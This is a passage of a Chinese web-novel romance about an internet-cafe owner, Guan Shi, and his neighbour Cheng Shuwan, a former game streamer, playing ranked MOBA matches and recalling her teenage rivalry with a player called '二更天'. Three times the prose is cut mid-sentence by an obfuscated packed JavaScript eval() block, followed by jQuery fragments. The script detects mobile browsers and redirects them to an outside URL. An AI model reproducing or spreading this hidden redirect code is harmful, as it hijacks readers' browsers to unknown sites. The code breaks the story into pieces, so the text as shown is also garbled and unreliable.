“哦。”关时不太想理他,眼不见为净地挥挥手打发,“你那水平还是别拉人后腿了,自己找个角落玩泥巴去吧,别烦我,哦,也别烦她。” 苏新胜颇为遗憾地垮下脸,“喂,你真不介绍认识一下啊?哥们儿的段位成败就拴在……” “滚远点。” “切,我自己去拜托人家大佬。”苏新胜翻了个白眼,转身朝程舒晚的方向走回去,“早知道就不指望你,别是跟人家关系不好,怕在哥们儿面前丢人才推三阻四的吧。” 关时:“……?” 苏新胜刚走出两步,背后突然窜起一阵寒意,从脊梁骨直接突突上天灵盖,还没来得及回头,后衣领被关时猛然勾住。 关时的力气大得要命,苏新胜猝不及防被他拉得往回踉跄,东倒西歪地转了半个圈,对上关时铺着淡淡笑意的眼眸。 “你刚刚,”关时弯了弯嘴角,“说什么?” 苏新胜:“……” 妈咪,要出人命了! “我什么都没说!”苏新胜嚎道,“我不拜托人家了!也没说不指望你!” 关时:“不是这两句。” “啊?”苏新胜愣住,顺着演两下这家伙还真的装上了,“哪句?不该质疑你怕丢人?啊你脸皮确实挺厚的。” “……上一句。”关时看他。 苏新胜是个嘴在前面跑脑子在后面追的主,听他这么说只能绞尽脑汁回想刚刚自己说了什么,“……别是跟人家关系不好?” “对,这句。”关时道。 “这句?”苏新胜不解,“哪个词碰你违禁了?” “记住了狗胜,”关时松开他,一字一顿道,“只要我想,没有人能跟我‘关系不好’。” 苏新胜:“……差不多得了你,你是不是有病?” 关时没有回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364887|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬脚越过苏新胜,朝程舒晚走过去。 不就是约她打游戏,有什么难的,以他们的交情,怎么也比苏新胜这个狗要来得顺利。 ……吧。 苏新胜大概猜出关时要干什么,哪能放过这个看热闹吃瓜的机会,吹了声口哨跟了过去。 程舒晚没顾忌苏新胜的“等我”,但也没开排位,还在训练场熟悉新出的人物,余光瞥见关时走过来,摘下耳机抬头看他,顺便看到他身后的苏新胜。 啊? 她还以为关时已经解决这个聒噪的家伙了,没想到又带了回来,她想了想,出于礼貌还是寒暄了下,“你朋友?” “嗯,从小一起在这片长大的朋友,苏新胜……没关系,不重要。”关时一反在苏新胜面前三言两语就亮拳头的冷脾气,露出相当亲和有礼的微笑,“他不太礼貌,见谅。” 苏新胜在后面翻白眼:狗比。 程舒晚看着他,“嗯。” 介绍完,然后呢? 她有一种不太好的预感,像是有麻烦上门的样子。 “有兴趣一起打游戏吗?”关时问。 果然。 程舒晚暗暗叹气,单纯一个苏新胜的话她不怎么想搭理,但如果是关时提出来,她还真得斟酌斟酌。 “帮你朋友打晋级赛?”她问。 “他啊,”关时笑了笑,头都没回,“他无关紧要。” 苏新胜白眼要翻到□□去了。 关时:“只是我单纯想跟你打两把游戏。” 程舒晚:“……啊。” 啊?这么突然? 刚刚不是还在说“玩得愉快”吗?怎么一下改口风了? “为什么?”程舒晚一头雾水,还有点儿紧张,毕竟之前还扯了谎否认自己是阿早呢,要是一起打游戏被看出来那不尴尬死了。 “一定要有理由?”关时想了想,随后弯下腰凑近程舒晚,用只能让她听见的音量低声笑道,“或许是想见识见识曾经的游戏主播是什么水平。” 他的声音低沉带笑,飘忽地掠过耳畔,落在心里却是一阵咯噔,程舒晚不由得暗戳戳攥紧了自己的小马甲。 来真的! 关时肯定是想借这个机会开她的盒! 拒绝他! 心里的危机雷达狂响不止,但真要拒绝关时的话……毕竟欠了他好几个人情,决绝的话不太好说出口。 如果关时不知道阿早,她是会欣然答应的,她对关时的游戏水平也有些好奇。 妈的。 她思索着没回答,关时也没开口,只看着她。程舒晚眉头微微蹙起,她一向不怎么外露情绪,但细细一想,似乎她面对他总是会像现在这样露出点苦恼的神情。 像是白鞋被溅上泥点子手边却没有湿布擦拭,纠结于扫掉会不会留痕,不扫又碍眼,无从下手的苦恼。 他垂下眸,蜷了蜷手。 “这样吧。”程舒晚开口了,“一起吧,三排。” 关时:“……” ? 他愣了有两秒,这才回头看向苏新胜,眼中多了点不可思议。 苏新胜也没想到吃个瓜还能被捎上,指着自己:“我?” “啊。”程舒晚想起苏新胜说自己擅长突进位,那正好自己可以玩别的,不至于让关时认出来自己是阿早,挺好的,“一起吧,人多热闹。” 苏新胜眨巴两下眼,感觉到另一对目光似有若无地贴在自己身上,抬眼果然跟关时微凉的目光对上。 “……关时啊。”他呆愣地语无伦次。 关时勾了下嘴角,皮笑肉不笑,“没事,喊你就一起玩。” 他差点给跪下了:“时哥,不是,跟我没关系,别那么看我。” 关时:“喊你上号就上号。” 15. 排位 苏新胜跟关时厮混十多年,太清楚他现在这模样当然不是“没事”。 “邻居”? “客人”? 放屁吧,要是关时没对这姑娘有点超出普通朋友的情感,他苏新胜把自己的名字倒过来写! 这语气分明是吃醋啊! 苏新胜差点就要掐着关时脖子对他喊“你们邻居俩之间有什么恩怨别波及普通人”,程舒晚也开口了。 “别管关老板,是我邀请的你。”程舒晚扫了眼关时,要是没有苏新胜在中间做个缓冲,她还真的不太敢就这样单独跟关时一起打游戏,“如果你不一起玩也算了,我自己单排。” 关时:“……” 好。 他这个率先发出邀请的人,现在变成顺带的那个了。 眼见关时的表情已经变得危险起来,苏新胜差点也要给这位姐跪下:“好了大佬姐你别说了我求你,我不玩儿了……” “狗胜。”关时突然开口。 苏新胜差点崩溃:“哥你别添乱了好吗?” 关时挑了挑眉头,突然笑出来,“添什么乱?” 他松开了紧绷的面容,那种带着点压迫的气氛顿时烟消云散,苏新胜愣了下,“你没生气啊?” “生什么气,”关时拉开程舒晚旁边位置的椅子坐下,“我是让你去前台找小贾开两台机,没让你付上网费那跑个腿可以吧?” “……”苏新胜抬头望天,伸手指着关时点了又点,最后什么都没说,转身朝前台走去。 坐在一旁的程舒晚松了口气,看这对好兄弟的相处时一下子想到闺蜜谭婧,忍不住低头笑了下,再抬头时,冷不丁撞上关时的视线。 关时抱着双臂靠着椅背,目光似笑非笑的,轻轻贴在程舒晚脸上,秋后算账般,看得她都有点儿不自在了。 “有话说?”程舒晚问。 “是有点疑问。”关时手指一下一下轻轻点着,“你很想跟他玩游戏?” “嗯?”程舒晚反应片刻才意识到他在说苏新胜,“你朋友?还好,打发时间。” 关时拉长声音地“哦”了声,“那就是,跟我玩游戏的话无聊到连打发时间都够不上,所以你不想浪费时间?” 程舒晚:“……” 啊,刚刚她的纠结被解读成这样了吗? 不是啊,她没这个意思。 程舒晚觉得自己好像该解释一下,但再一琢磨,也不知道是不是错觉,总觉得关时这句话有点幽怨的味道。 幽怨? 关时? 不可能吧。 这家伙明明在她这儿吃过的闭门羹不算少了,还不是每次都那么活力满满地骚扰她? 一想到关时会有“幽怨”这样的情绪,程舒晚不由得惊叹,以至于生出点逗弄的心思,她把手肘撑在桌面上,嘴角带着点弧度,偏头朝他一笑,“关老板,对自己没有信心吗?” 关时没料到程舒晚居然反客为主,猝不及防被她罕见的笑晃了下眼,怔然两秒才回过神:“哪方面,游戏?” “游戏?”程舒晚笑了下,“哦,那是我会错意了。” 关时:? 他盯着程舒晚,“你会的是哪个意?” 程舒晚与他对视,用没有起伏的凉淡声音慢悠悠地揶揄:“我以为我刚刚‘无视你的邀请,反而邀请你朋友一起玩游戏’这种缺德行为,让你对自己的人格魅力没有信心了。” “……”关时表情凝固,极力遏住被一语道破的耻辱感,硬着头皮保持自若的笑,“我从不对我的人格魅力不自信。” 程舒晚拍两下手,“哇,棒棒。” 关时:“……你在逗我玩儿?” 程舒晚坦然点头,表情非常真诚。 关时深吸一口气,扭开头,无奈笑了,“你也知道这行为缺德。” “嗯。”程舒晚道,“我可能忘了,你也是个人。” 关时:“……” 这女的是不是太嘲讽了点。 他服气地笑了,站起身来:“我去拿几瓶饮料。喝什么?” “不挑,都行。”程舒晚想了想,“谢谢。” 关时摆摆手,往小卖部走去。 程舒晚建好房间,靠在椅背上,瞅着关时的背影,突然觉得有点儿神奇。 在走进网咖之前她的心情不可谓不糟糕,但现在坐在这儿,不知道什么时候开始竟然没有了那种心头堵住的感觉,甚至还有些平静。 从高中开始,网吧对她来说就有特殊的含义,是她繁重生活当中唯一的庇护所、休息地,而游戏当中总有一个不会指责、要求她的好搭子发来问候。 程舒晚打开好友列表,二更天的头像仍然是灰色的,她盯着看了半晌,余光瞥见关时和苏新胜都回来了,这才将好友列表关掉。 关时把几瓶不同口味的饮料摆在程舒晚桌前,“不知道你喜欢喝什么,随便挑。” “啊,谢谢。”程舒晚看了看,在几瓶饮料当中拿了瓶纯茶。 关时拿了瓶果汁扔给苏新胜,得到对方一句狂吠:“我不要这个!” “爱喝不喝,自己过来挑。”关时坐下来,漫不经心瞥眼扫过程舒晚的电脑屏幕,清晰地看见了她主页上的游戏ID。 小鬼叉烧。 他收回目光,嘴角微不可查地勾了勾。 程舒晚把建好的房间报给二人:“8645排位。” 只要知道房间号就能申请进入,没有好友也可以一起组队。 “嗯。”关时登上游戏。 程舒晚一边等二人一边翻阅人物技能,房间里头像一闪多了个人,头像是个非常粉嫩可爱的卡通小狗,ID叫“闪亮妙咪子”。 ……谁? 程舒晚看了半晌,一头雾水地把这个误入的萌妹玩家给叉了出去。 旁边的关时“诶”了声,“怎么把我踢了。” ? 程舒晚哑然片刻,看着房间里刚刚那个娇滴滴的头像重新进来,差点说不出来话:“这你?” 关时:“我。” 程舒晚猛扭头对这个身高一米八往上还健身的伟岸帅哥一顿打量,再次看向那个头像,“……这你?” “是玥玥的号。”关时无奈笑了,“我自己的号境界不够。” “哦。”程舒晚释然,这才对嘛,关星玥那小姑娘才符合这个头像和ID的调性,“星玥的号境界反而比你的高?” 苏新胜把头凑过来,指着关时插嘴:“玥玥的号也是这狗在打。” 程舒晚:“平时不玩自己的号吗?” “嗨,关狗那个号……”苏新胜刚要接话,被关时一个眼神瞪了回去。 “那个号?”程舒晚疑惑。 “那个号有些麻烦的渊源,不好解释。”关时冲程舒晚露出个点到为止的笑。 程舒晚见状便也没有继续追问,看着那个粉不拉叽的头像和ID,“挺可爱的。” 关时:“我?” “……我说星玥。”程舒晚看他,关时对自己是不是有误解,他跟“可爱”沾得上边吗? 放在桌上的手机突然响了声,关时拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364888|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来看,是坐在身边的苏新胜发来信息。 苏新胜:“哥有什么不能说的你一次性说完吧,鬼知道我说句话都得看你脸色,我要吐了。” 关时:“关于二更天的全部。” 苏新胜:“?” 苏新胜:“干什么玩意儿?” 苏新胜:“等等,我草,小鬼叉烧?是我知道的那个小鬼叉烧吗?” 苏新胜:“你以前那个巨牛的白月光小队友?” 关时没回应,把手机面朝下放在桌面上,“人齐了,开吧。” 坐在一边的苏新胜一爪子伸过来,拽住关时的衣袖,眼睛吃惊得快要瞪出来,往程舒晚那边疯狂示意,最后拿起手机用表情打了个问号。 关时不置可否地眨了眨眼。 “草……”苏新胜不敢置信地窝回椅子里,立刻又弹起来,“不是,怪不得……” “闭嘴。”关时瞪他。 苏新胜这才闭上嘴坐回去,脸憋得跟揉皱的纸巾一样,面目狰狞。 “开了。”程舒晚戴着耳机,对狐朋狗友二人组的小动作毫无知觉,点击开始匹配。 程舒晚的号是“无上”境界,关时和苏新胜都是“破”境界,跨了两个段位,匹配时间不免就久了些。关时戴上耳机,靠在椅背上,目光一直盯在队伍里程舒晚的“小鬼叉烧”四个字上,手指一下一下敲着。 他有种说不上来的……缅怀。 和忐忑。 匹配成功。 “杀杀杀!”苏新胜大概是表演型人格,虽然知道了什么不得了的秘密,但依然摩拳擦掌,在队内语音叽叽喳喳,“大佬姐,你玩什么位置?” 程舒晚看了眼关时,没忘记要在他面前隐藏自己是主播阿早的事实,“你玩什么?” “补位。”关时道。 既然他这么说,程舒晚就放心把输出交给他了,“我防御位。” 出于好奇,她还真想看看关时怎么carry。 他擅长玩儿什么,进攻,还是突进? 关时是三楼,轮到他选择人物时,他打开人物选择页面扫了眼,然后随便挑了一个:“那我辅助。” 辅助人物,伤魂鸟,确定。 程舒晚:“……” 好吧,计划落空。 “不是?”苏新胜的声音从耳机内外炸出来,“关狗你喵的玩什么?软辅?你有病啊!” “啧,一惊一乍。”关时笑了两声,“打游戏么,开心就行。” “我开心你喵个鸡翅包饭啊!”苏新胜骂骂咧咧,“你控制位呢?平时不是最喜欢装逼了吗?” “我爱装装,不想装你管得着?” 程舒晚一边把两人没营养的吵架当背景音,一边确认了防御位人物“鲲鹏”,看了眼其他两个队友的阵容,输出还可以,只要进攻位的“画皮”不掉点,苏新胜能够抗住针对,这一把就能赢。 游戏开始。 程舒晚选择的是上路防御位,人物“鲲鹏”,擅长短时间控制和位移抗伤保护。对面的防御位水平也不低,程舒晚和对面有来有回地对线,还没过多久,突然传来系统播报,己方的进攻位画皮被拿下了一血。 这么快? “下路什么情况关狗?”苏新胜也开口问。 程舒晚把视野往下转了转,关时正在塔下清线,身为辅助却几乎满血,而且对面的进攻位和辅助也都状态全满,毫无消耗。 那他们这边的进攻位画皮是怎么死的? “有点麻烦。”关时说道,“这个画皮是演员。” 16. 年少 MOBA游戏是大部分情况下公平的5V5对抗,而“演员”指的是用送人头、挂机、或者用高超的演技骗过系统判定,恶意输掉比赛给队友添乱的人。为了能成功,演员一般会占据队伍里的输出位置,降低被队友救回来的几率。 只见那画皮复活之后回到下路,直挺挺地冲向对面敌人面门,再次死亡。 这演员一点都没有演员的修养,没有演技,全是恶意。 程舒晚一般来说并不害怕遇到演员,她总有翻盘的能力,但是这局为了护好自己的马甲,她选择了非输出人物,如果要翻盘得花很大的力气。 她有点懒。 那么关时……哦,他是辅助。 中路控制位的队友打得中规中矩,能派得上用场,但仅仅靠他输出是不够的。 程舒晚:“苏……” 她话到嘴边打了个磕绊,居然没记起来苏新胜的名字,于是扫了眼他的游戏ID,“大新恰个霹雳瓜?” 什么鬼名字。 “大佬姐,有什么吩咐?”苏新胜回应。 程舒晚:“靠你了。” 苏新胜:“靠谁?” “你。” “我?” “不行?” “不行。”苏新胜老老实实道,“我都是关爷带上来的。” 夹在中间的关时乐了一声。 程舒晚闭了嘴,清完兵线回城,点开局内商店,卖了防御初始装备,换成纯输出配装。 求人不如求己。 还是得靠她。 刚刚做出背水一战的准备,屏幕里出现了一道红色的影子,关时完全放弃了送人头的演员,操纵着伤魂鸟过来跟着她了。 “跟我干什么?”程舒晚问,“支援中路推塔比边路重要。” 关时“哦”了声,“我不认识他。” 程舒晚:“啊?” 关时侧目看了一眼她莫名的表情,收回目光微微笑着,“我不认识他,不想跟。” 程舒晚无言:“你小孩儿么。” 关时:“辅助要利益最大化,我得跟着最厉害的。” 程舒晚:“哦,那确实得跟我。” 关时:“……” 他还是第一次听程舒晚这么自大的话,不由得笑了下。 伤魂鸟跟程舒晚曾经玩过的腓腓同为软辅助,但跟给队友上增益效果的腓腓不同,伤魂鸟是给敌人增加负面状态的人物,相对而言更具有攻击性。 有关时辅助,程舒晚很快占了上风,对面开始疯狂摇人支援。 “草丛。”关时提醒,技能预判命中了对面前来支援的打野突进位,屏幕上出现了敌方的掉血状态条。 伤魂鸟的技能可以给敌方施加掉血状态条,如果被我方角色攻击可以加速状态条积累,满状态能触发一大段伤害。 这是需要配合的打法。 关时正要开口让程舒晚跟上,还没出声,程舒晚的攻击已经早有预料般打在敌人身上,瞬间释放两个输出技能叠满了状态条,咔一下刷掉对方半管血。 此方唱罢彼方登台,与此同时,关时默契地用走位刁钻封去敌方退路,减益状态再次挂上。 他的支援很及时。 程舒晚在心里给关时鼓了个掌,操纵鲲鹏杀了上去,敌人见状不对狼狈逃窜,结果被晚来一步的苏新胜一记平A捡了人头。 “我草,配合默契啊!”苏新胜喊道,“我们仨嘎嘎乱杀!” “你嘎得很响。”关时讽道。 “喵了个巴子的你个狗吐不出人话是吧!” 程舒晚趁对方掉点,攒了一波兵线直接推掉上路一塔,先下一城,这才松口气,想到刚刚的配合,她不禁看了眼关时。 他戴着耳机,姿态有点儿懒散地摊在椅子里,但盯着屏幕的眼睛一动不动,聚精会神,宛如用伏低的姿态伪装却时刻紧盯猎物的野狼。 似乎是意识到程舒晚的目光,关时微微偏过头看她一眼,随后冰雪消融似的笑了一下。 关时总爱笑,他的笑容各种各样,或示好,或温和,或威胁,或嘲弄,但此刻的微笑……程舒晚不知道怎么形容,屏幕的亮光倒映在他眸子里,明亮,洒脱,沾着点孩子气的炫耀,像是被扔进了十七八的年岁里。 有一个瞬间,程舒晚好像看见了那个从未谋面,却幻想过无数次的少年。 她猛然收回目光。 但是脑子还是不受控制地浮现出自己的好友列表。 那个叫二更天的家伙。 想到这个ID,程舒晚不由得恍惚一下,思绪离开了手中的对局。 飘飘然飞回高二那年。 高二的时候,家附近开了一个自习室,程舒晚每周五、周六晚饭后就跟住对门儿的谭婧一起过去,然后在自习室门口分道扬镳去隔壁小巷里的小网吧打《封神图录》,晚上十一点再准时回自习室,与谭婧一起回家,在爸妈面前营造刻苦学习的人设。 那天与往常一样是个普通的周六,程舒晚与往常一样在网吧里随手开了把排位赛,与往常一样选择拿手的千机鸟。 当时,她还没对敌方阵营当中的游戏ID有任何印象。 开局不到两分钟,中路的队友送出了一血,程舒晚盘算这个速度有点快,自己应该需要支援一下,于是赶到中路草丛埋伏,瞻仰下杀了队友的是何方神圣。 对面的中路控制位赫然是时下热门的“九尾狐”。 这个人物是个顶着一张俊朗面容的男狐狸,姿态慵懒,衣袂飘飘,正窝在塔下清兵线。 他清理兵线时只站着不动,待到小兵血条只剩一点点的时候才懒洋洋地点一下普攻补刀吃经济,优哉游哉的,惬意如大树底下乘凉。 游刃有余得发拽。 程舒晚有点乐,抽空看了眼他的游戏ID。 二更天。 他的血条还剩下一半,程舒晚掂量一下自己的经济和技能,暂时还做不到越塔强杀,先杀他的兵线,骚扰打乱他的节奏就行。 说干就干,她释放技能起手,然而刚冲出草丛,脚底下突然升起一个技能圈——是九尾狐的技能。 他发现她了,而且反应很快。 程舒晚瞬间闪现躲避,顷刻改变了方针,闪到防御塔的攻击范围之内,越塔强攻! 既然对方先挑起由头,不应战可不是她程舒晚的风格。 只见屏幕上千机鸟身上特效光芒闪过,刀出如游龙,直取二更天的项上人头—— 然后。 被控制技能定身了。 二更天预判了她的走位。 程舒晚根本来不及思考,防御塔和二更天的攻击一并袭来。 要死。 面对强行控制的技能,就是天神下凡也没办法,程舒晚只能眼睁睁看着自己的千机鸟生命值在猛攻下被打掉大半,狂按鼠标才得以在硬控结束时立即撤出,以十分之一的血量侥幸逃生。 狼狈至极。 妈了个巴子的大翻车。 待到在安全地方点击回城,程舒晚这才松了一口气,心里随之升起点兴趣来。 这个叫二更天的技能准,时机巧,她玩《封神图录》也有三四个月了,难得碰上能让她刚见面就吃大亏的玩家,一时间还有些稀罕和欣赏。 程舒晚啪嗒啪嗒打字。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364889|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > -小鬼叉烧:厉害。 没过多久,公屏上弹出二更天的回应。 -二更天:你再蹲我一个试试。 在这个回复弹出来的同时,二更天还做了个系统自带的动作——勾手挑衅。 程舒晚:“……” 不知道的还以为她是发了什么脏话。 这个二更天,又狂,又傲,还没有礼貌。 自己刚刚的什么欣赏什么赞叹都是浪费表情,统统喂狗去吧。 妈的还给你脸了。 程舒晚中断了回城的读条,随后重新释放技能,以迅雷不及掩耳之势再次冲回塔里,以残血之躯直奔向二更天。 二更天大概没想到程舒晚真的吃了这个挑衅,没第一时间反应过来,待到中了技能开始掉血才往后退,抬手准备释放控制技能。 程舒晚没再给他这个机会,她算准了技能的回转时间,在他的技能落下时再次闪身避开,贴上面门,一套攻击直接戳进二更天的心窝子,瞬间爆发出高额伤害,把他的剩余血量一套带走。 越塔击杀! 让他狂! 但这种解气的感觉只维持了一瞬间,防御塔的攻击在此刻落了下来,程舒晚只剩下一格血量,只要挨上也得跟着葬送。 她屏息凝神,稳住双手,电光火石之间完成了出售装备、切换防御装一系列动作,血条上套了一截短短的盾量,刚刚好挡下防御塔的攻击。 在防御塔下一次攻击到来之前,她顺利用位移技能撤出攻击范围,丝血反杀,成功存活。 成了! 程舒晚一边撤退,这时候才发觉手心都是汗,心脏鼓动得聒噪。她深深吸一口气,不由得为自己牛逼的壮举乐了两声,紧盯着公屏,等待二更天的反应。 他的反应很简短。 -二更天:? 扣什么问号,就你他妈的会扣问号?程舒晚哼了声点开聊天框,也打了个问号。 -小鬼叉烧:? 二更天又回了个问号。 -二更天:? -二更天:好狂啊,少年。 -二更天:等我复活把你锤爆。 -小鬼叉烧:就你? -小鬼叉烧:好怕哦。 程舒晚已经做好继续跟他互飚垃圾话的准备了,但可惜二更天没有接茬,她也只能遗憾作罢,二人各自安好继续发育。 程舒晚一直警惕着小地图上二更天的动向,不过他并没有如约来找她的麻烦,她也逐渐转移了注意力。直到几分钟之后她开启新一轮的野区清扫,发现自己野区的法力buff野怪不翼而飞,被人偷掉了。 是谁呢?好难猜啊。 二更天身上怎么挂着法力buff的标志呢?好巧啊。 -小鬼叉烧:二更天。 -小鬼叉烧:你偷我蓝buff是吧? -二更天:哎呀。 -二更天:我只是路过,他自己赖上来了,你说好不好笑? 程舒晚:“……” 她忍不住短促地笑了一下,说不清是乐的还是气的。 -小鬼叉烧:偿命吧。 -二更天:哇哦。 -二更天:来,小叉烧。 “小叉烧”这句挑衅充满了傲慢与嚣张,一下子激起程舒晚的火气和斗争心,她调转方向,朝二更天的位置潜行而去。 当程舒晚绕到二更天身侧野区的时候,那慵懒的男狐狸正用系统动作坐在地上,全然一副等待她上门讨债的欠揍模样——身上还挂着从她的野区偷来的buff。 嚣张至极。 丫的。 干他。 17. 涟漪 程舒晚记得,那场对局她和二更天打了有十几次,论操作他不如她,但胜在灵活和不择手段,一时间也能将胜负掰到五五开。最后还是队友给力,趁着最难缠的二更天被她拖住的档口推掉了防御塔,这才最终拿下胜利。 “封神”的字样弹出来的时候,程舒晚如释重负地狠狠长出一口气,揉了揉手腕。 这块硬骨头太难啃了。 如果是正面对决拼操作她完全不会在乎,但二更天的打法跟狗皮膏药一样,又难缠又恶劣,哽得人三天吃不下饭,晚上躺床上复盘都要坐起来问“他是不是有病”。 算了,反正不会再遇见了。 程舒晚休息了一会儿,点开下一把游戏匹配。 然后。 在匹配列表里,她又看见了“二更天”三个字。 程舒晚:“……” 她差点把鼠标撂了。 不是? 这游戏没人了吗?怎么还能匹配到同一局? 看来又免不了一场恶战,程舒晚深吸一口气,活动活动手指,做好了准备进入人物选择界面。 然后。 她突然发现。 二更天在这一局,是队友。 ……更糟糕了。 程舒晚手都僵住了,沉默地盯着二更天的ID,无语凝噎。 -二更天:孽缘啊,小叉烧。 他还好意思说这话?不该由她来说吗?明明上一局先挑衅的是他啊! 刚才还杀得红眼,转头成了队友合作共赢,一想到这儿程舒晚就直皱眉头。 他不会对输给她的事怀恨在心,然后在游戏里演她,把她卖了吧? 按照上一把这家伙的恶劣程度,不是没有这种可能。 程舒晚摩挲着键盘,一堆话堵在嘴边,愣是一个字都没打出来,隔了太久没回复,二更天又发消息了。 -二更天:喂,叉烧,你等会儿不会演我吧。 程舒晚:“……” 丫的这也是她的台词! -二更天:我应该先加你好友的,这样你就舍不得了对吧? 妈的! 少膈应我!谁想加你好友! 程舒晚受不了了,咬牙切齿点开聊天框。 -小鬼叉烧:滚。 “封神!” “不容易!赢了!”苏新胜的欢呼从耳机内外传来,打断了程舒晚的回忆。她轻轻眨了眨眼,注意力回到结算界面,自己的局内评分最高,全场MVP,第二就是关时的“闪亮妙咪子”。 ……程舒晚还是没办法把这个ID和关时本人匹配到一起。 她偏头看了关时一眼,他仍然勾着懒洋洋的嘴角,摘下耳机往靠背一躺,满脸写着“只要我出手有什么对局赢不下来”的云淡风轻。 死装。 程舒晚无言,莫名有点儿荒谬的好笑。 关时的操作意识非常好,估计也是身经百战的老玩家,而且他的配合非常跟手,默契到让她有点匪夷所思的地步。 就好像……他们曾经一起打过游戏。 “我说你们的配合是真强啊,”苏新胜转过头来,兴奋地说道,“真不愧是……” “咳。” 苏新胜话说到这儿突然掐了一下,关时靠在椅背里环抱双手似笑非笑地瞧着他,目光中带着点审视和警告。 “……不愧是大佬姐哈!”苏新胜硬着头皮把话头扭转过来,“跟谁配合都能带飞,下一把我辅助你!” “哦。”程舒晚点点头,“也行。” “你们玩儿吧。”关时退出了游戏,一推桌子站起来,“我还有点工作,先撤了。” “这就不玩了关狗?你今天撤得也太快了。”苏新胜愣了愣,表情突然不安起来,压低声音,“喂,是不是我……” “死开吧你,别把自己当回事。”关时给了他后脑勺一下,“我要跟财务对这个月的账,是真有工作。” “得。”苏新胜了然,低声道,“安吧,哥们儿嘴巴严防死守。” 关时深深看他一眼,随后转头对程舒晚笑了下:“玩得开心。” 程舒晚:“你忙。” 关时平日里看起来太游手好闲了,程舒晚都快忘记他毕竟是这个网咖的老板,再怎么着也是有些公务要做的,怪不得苏新胜说他玩两把就会找借口溜。 她视线扫过关时离开的座位,不知道为什么总觉得有点遗憾。 苏新胜主动凑了过来,“大佬姐,还玩儿吗?” “嗯?哦,可以。”程舒晚退回组队界面,“我叫程舒晚,别叫我大佬姐。” 怪难听的。 “啊,行,那我喊你名字?或者网名?”苏新胜看了眼电脑屏幕,找到程舒晚的游戏ID,“那什么……叉烧?” 程舒晚:“……” 她听到“叉烧”这两个字,放在键盘上的手指不受控制地蜷缩一下。 “不行。”她道。 苏新胜:“嘎?” “你不能叫我叉烧。”程舒晚揉了揉手指舒展开,“叫名字就好。” “哦,行,”苏新胜没纠结称呼问题,嘻嘻道,“那就晚姐了。” “我比你……算了,随你。”程舒晚懒得去探究“你看起来应该比我大”这样的问题,点击匹配下一把游戏。 苏新胜又喊了一遍:“晚姐带飞。” 这一把程舒晚选择的中路控制位,苏新胜还是打野突进。苏新胜操作水平符合段位,但是游戏意识一般,程舒晚总是得出言提醒他打野和抓人的时机,看来真如他自己所言,段位是被关时带上来的。 程舒晚更加感受到关时的配合有多难得。 苏新胜像是感受到了程舒晚的态度:“晚姐,是不是觉得我太菜了根本比不上关时啊。” 程舒晚默了两秒,昧着良心哄骗道:“不是。” “哈哈哈。”苏新胜笑了两声,“关时那狗玩这种PVP游戏超牛,我是真比不上。” “你操作也不差。”程舒晚蜻蜓点水地夸了一句,随后问起关时来,“关时这游戏玩了很久吗?” “呃,”苏新胜卡壳片刻,心底发虚地扯谎,“没有吧,也就这两年。” 程舒晚疑惑:“是吗?” 关时刷过她的直播,不玩游戏怎么会刷游戏直播?如果玩的话那起码也得是四年前了,可不是什么“这两年”。 “可能他以前玩过?我不清楚,只是这两年玥玥上高中学业重,关时就接手她的账号了……咳咳,晚姐,来拿蓝。”苏新胜面不改色地扯开话题,心道这祖宗别再问了,他快瞒不住了。 “嗯。”程舒晚来到野区把蓝buff打掉,安静片刻后又问,“关时的号ID叫什么?” 苏新胜:“……” 听不到回应,程舒晚偏头扫他一眼。苏新胜找了个地方回城,揉了揉鼻子咳嗽两声,侧身来看着程舒晚,郑重道:“这么说吧,晚姐,你跟关时算朋友吗?” 这回轮到程舒晚卡住了,她沉默地清理兵线,仔细想了想如何回答这个问题。 上下楼的邻居。 老板与常客。 她哥跟关时曾是朋友。 关时算她曾经的……粉丝? 要说身份那真算得上是百花齐放,但要问她和关时算不算是朋友,程舒晚一时半会儿还真的说不上来。 像是被各种机缘巧合吊在一起的两只素不相识的蚂蚱。 “要是关时想跟你说,也轮不上我来讲。”苏新胜道,“如果你真的好奇,还是得自己问他。” 程舒晚:“……哦。” 还挺铁们啊这家伙。 程舒晚盯着屏幕,想起刚才关时提起自己的账号时说的话——那个号有些麻烦的渊源,不好解释。 看来关时并不想跟自己讲。 啧。 想想也确实,他们不过是认识不到一个月的邻居,谁会大喇叭似的什么都说。即便如此,程舒晚仍然有种说不上来的别扭,不多,但是垫在心底里,有些难以忽视。 这把对局也是稳稳当当地打完,苏新胜松了一口大气,乐滋滋道:“我下把晋级赛,晚姐,助我一臂之力啊!” 程舒晚垂眸,揉了揉手:“不了。” 苏新胜呆住:“啊?” 